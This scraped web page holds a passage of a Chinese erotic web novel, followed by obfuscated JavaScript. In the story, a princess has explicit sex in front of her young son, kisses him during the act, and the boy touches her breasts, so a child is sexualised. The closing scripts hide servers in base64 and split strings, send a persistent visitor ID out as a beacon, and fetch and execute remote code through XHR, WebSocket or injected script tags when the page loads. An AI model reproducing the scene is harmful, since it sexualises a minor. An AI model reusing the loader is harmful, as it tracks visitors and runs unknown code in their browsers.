贺兰敏之早就等着这副场景了,没想到后世裏看的AV场景居然被自己穿越
后给实现了,心裏充满了骄傲和变态般地满足感,揉着千金公主晃地有些耀眼乳
球,停下来兴奋地说:【快告诉妳儿子,爹肏的妳美不美。】
千金公主已经是春意正浓,半闭着眼睛享受着小情郎的滋润,舒服的魂儿都
快没了,哪还顾得上儿子已经被带来了。听见以后下意识地扫了一圈,看着一直
被自己嫌弃地儿子,酥媚地说:【儿子,娘亲被爹爹肏的好美。】
小男孩倒是有些骨气,含着眼泪争辩着说:【他…他不是我爹。】
千金公主闻言有些莞尔,咯咯娇笑了两声:【他当然不是妳爹,他要是妳爹
娘亲做梦都会笑醒。】说完不再看自己儿子,含情脉脉地望了贺兰敏之柔声道:
【他是娘亲的爹爹。】
贺兰敏之此刻感觉头皮都兴奋地要炸了,自己这辈子居然能将这种幻想实现,
将已经快要从案几脱落到地上的千金公主扶起来,命令道:【扶着妳儿子的肩膀。
】
千金公主一手撩着宫裙,一手伏在儿子稚嫩的肩膀,顺从地翘起大白屁股,
臻首伏在儿子耳边娇媚道:【儿子,娘亲的爹爹又要宠幸娘亲了,妳为娘亲高兴
麽】说完还俏皮地回头望了一眼。
贺兰敏之用龙首在水淋淋的阴穴口磨来磨去,就是不进去,没一会千金公主
就酥痒难当,摇晃着丰臀想要将小情郎的阳根套进蜜穴。但是每当她要将那根弄
的她死去活来的宝贝套进身子裏的时候,这狠心的冤家就后往后退一点,眼看自
己已经退的就要扶不住儿子了,千金公主扭着身子娇嗔:【郎君好坏…老是折磨
奴家…】
贺兰敏之看着娇嗔不满的千金公主,感觉这女人简直就是最完美的情妇. 容
貌明艳动人,皮肤光滑如水,身材妖冶丰饶,最最关键的就是懂得不停转换性格
着配合男人的需求,无论是之前模仿天真少女时候的稚嫩,还是刚才跟情郎撒娇
的娇嗔,无不模仿的惟妙惟肖。而且还放得下羞耻,可以在儿子面前这麽放荡形
骸。
想到这贺兰敏之心裏的变态想法又多了一点,将千金公主的臻首按到她儿子
面前,让母子二人脸对着脸,挺着阳具勐地捣进了千金公主的淫穴,顿时千金公
主被撞往前探了一点,正好亲在了她儿子嘴上。
【唔…】千金公主还没来得及呻吟出来,就已经被儿子的嘴给赌上了。心思
聪慧的她立刻明白小情郎的想法,捧着儿子的头跟他亲吻了起来,故意亲的啧啧
有声,小男孩呆呆站在那裏,从未得到过母爱的他,对母亲突如其来亲吻如获至
宝,小手畏畏缩缩地抬起又放下,最终在试探了几下之后小心翼翼地搭在母亲赤
裸的胳膊上,再也不捨得拿开.
贺兰敏之开始满意地抽送被千金公主小穴紧紧吸允着的阳根,眼前的景象实
在是太疯狂太刺激了。一个三十少许的美妇,赤裸着上身亲吻着她的亲生儿子,
身后还站着一位英俊少年正在奋力侵犯着她娇嫩的小穴,两衹圆润硕大的奶子随
着撞击勐烈跳动,一衹小手胆怯地缓缓伸向这两衹勐烈跳动的丰乳,悄悄碰了几
下,见没有遭到反对之后,终于鼓起勇气抚摸了上去。
贺兰敏之估计这臭小子也就十来岁的样子,想到居然如此大胆好色。本想着
满足一下自己后世看AV时的幻想,亲自实现一下子,却没想千金公主的这对宝
贝反倒给他占了去,因为自己的缘故让这臭小子已经占了些便宜,如今居然还得
寸进尺,于是颇有些恼怒的将他的小手拍了下去,谁知臭小子还很不服气,凶狠
的瞪了他一眼。
这一瞪让贺兰敏之更为恼怒,这麽小的孩子就用这种凶狠的眼神瞪着自己,
以后长大了还得了,恨不得一巴掌就扇过去。不过扬起手又放了下去,算了,不
跟小屁孩一般见识,何况自己还在肏他亲生母亲,他妈都喊自己爹了,自己还计
较这些干什麽。
正在迷醉在慾仙慾死感觉中的千金公主倒是没有注意到这些,衹是感觉小情
郎稍稍停顿了一下,很快就又恢复了那充实有力的撞击,让她彻底迷失在了肉慾
之中,不断地婉转娇啼,很快就痉挛着高潮了。贺兰敏之受不住在人家儿子面前
干他母亲的这种刺激,按着千金公主的雪白丰臀,又连续冲刺了几十下之后一泄
如注。
拔出疲软的阳根以后,千金公主嫣红的阴穴中慢慢涌出了一股股白色浊液,
混合着她的淫水,滴滴答答往地板上掉落。这时千金公主一脸嫌弃地推开了还在
试图和她亲吻的儿子,全然没有了刚才的温柔妩媚,转身含住了小情郎的阳根,
像是发现了宝贝一下细心吸允了起来。
贺兰敏之得意的冲臭小子一笑,还敢跟老子赌气,没有老子妳连妳母亲的手
都碰不到,让妳来是给老子增加刺激的,居然还想反客为主,反了妳了。看着这
臭小子开始委屈怨恨的神情,贺兰敏之更加得意,耀武扬威一般使劲捏着千金公
主的硕乳,千金公主对于小情郎的举动当然是无有不允,虽然被捏的有些疼,但
还是主动挺起胸来供他揉捏,最后疼的千金公主脸都开始扭曲了还不肯退缩,依
然骄傲的挺着酥胸。
千金公主的逆来顺受让贺兰敏之有些愧疚,自己居然和小屁孩赌气如此折磨
这一对宝贝,实在是太幼稚了。带着歉意温柔地摸了摸千金公主因为含着自己阳
根而鼓起的脸颊,千金公主似乎是感受到了他的温柔,抬头露出了一抹笑脸。
看看时间已经差不多了,贺兰敏之把还在津津有味给自己口交的千金公主拉
了起来,动作温柔地为她拉起宫裙道:【公主,我还要进宫给姨母请安,妳让人
准备午膳罢. 】
千金公主吩咐下去后,便偎在贺兰敏之怀裏十分不捨,轻轻地说:【妾身今
天真的很开心,郎君下次什麽时候再来】
【那就要看公主妳的表现了。】贺兰敏之应道。
千金公主有些失落:【妾身今天的表现郎君还不满意麽】
【不,我说的是妳以后的表现. 】贺兰敏之微微抚摸着千金公主的丰臀,示
意她不要着急,继续道:【公主,妳以后还需得洁身自好,万不能再像以前一样
连个家奴都能欺辱于妳,在外人面前也需得和驸马相敬如宾,恩爱体贴. 公主妳
能做到麽】
千金公主闻言羞的要死,心裏腹诽着还不是因为妳这个小冤家才害的自己从
一个高高在上的公主变成了如今这样,如今却又这样说,不由有些哀怨道:【妾
身已是残花败柳之躯,衹要郎君高兴,便是和那奴僕…也心甘情愿。郎君不必在
意妾身的感受,衹要郎君能时常疼爱妾身,妾身无怨无悔。】
【我说的是正事,长此以往下去,恐怕不光公主,便是我也会被人所诟病,
公主妳可懂我的意思了】贺兰敏之解释着说.
千金公主这下明白了小情郎的想法,连忙表态道:【郎君放心,妾身本也不
是毫无廉耻之人,衹是想讨郎君欢心罢了,既然郎君这麽说,妾身今后定当遵从,
衹是…衹是便宜郑敬玄那废物了,还得在外人面前表现的与他恩恩爱爱…妾身好
不情愿…】却是已经开始趁机故作委屈,想让小情郎心裏更加疼爱自己。
贺兰敏之捧起千金公主明艳动人的脸蛋,深情的吻了下去,千金公主马上变
热烈的回应起来,两人有如干柴烈火一般热吻了起来,直到彼此都气喘嘘嘘才停
了下来。女人的气息本就不如男人绵长,这一通吻直让千金公主感觉头晕目眩忘
乎所以,靠在贺兰敏之肩头好一会才回过了神儿。
这时婢女已经走马灯似的连续端上来十来到菜肴了,大多都是肉鱼一类,没
办法,就算是公主想在冬天吃点绿菜也不容易。千金公主半靠半躺在贺兰敏之怀
裏,殷勤的给小情郎米饭裏夹菜,一副小媳妇服侍丈夫的乖巧模样。
贺兰敏之昨晚和母亲武顺娘颠鸾倒凤了一整夜,刚才又和千金公主来了一场
盘肠大战,已经饿得前胸贴后背了,当下狼吞虎咽的连吃了两碗米饭才作罢,满
足的打了个饱嗝,看的千金公主咯咯直笑。
最后贺兰敏之又沐浴了一番,防止一会进宫身上脂粉气太重,惹得超级母老
虎武媚娘不悦,在千金公主依依不捨的目光中,骑上马奔向了皇宫,不奔起来可
不行,长安的小娘子们可都太大胆了,大街上拦马示爱的都有,被缠上可就麻烦
了。
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();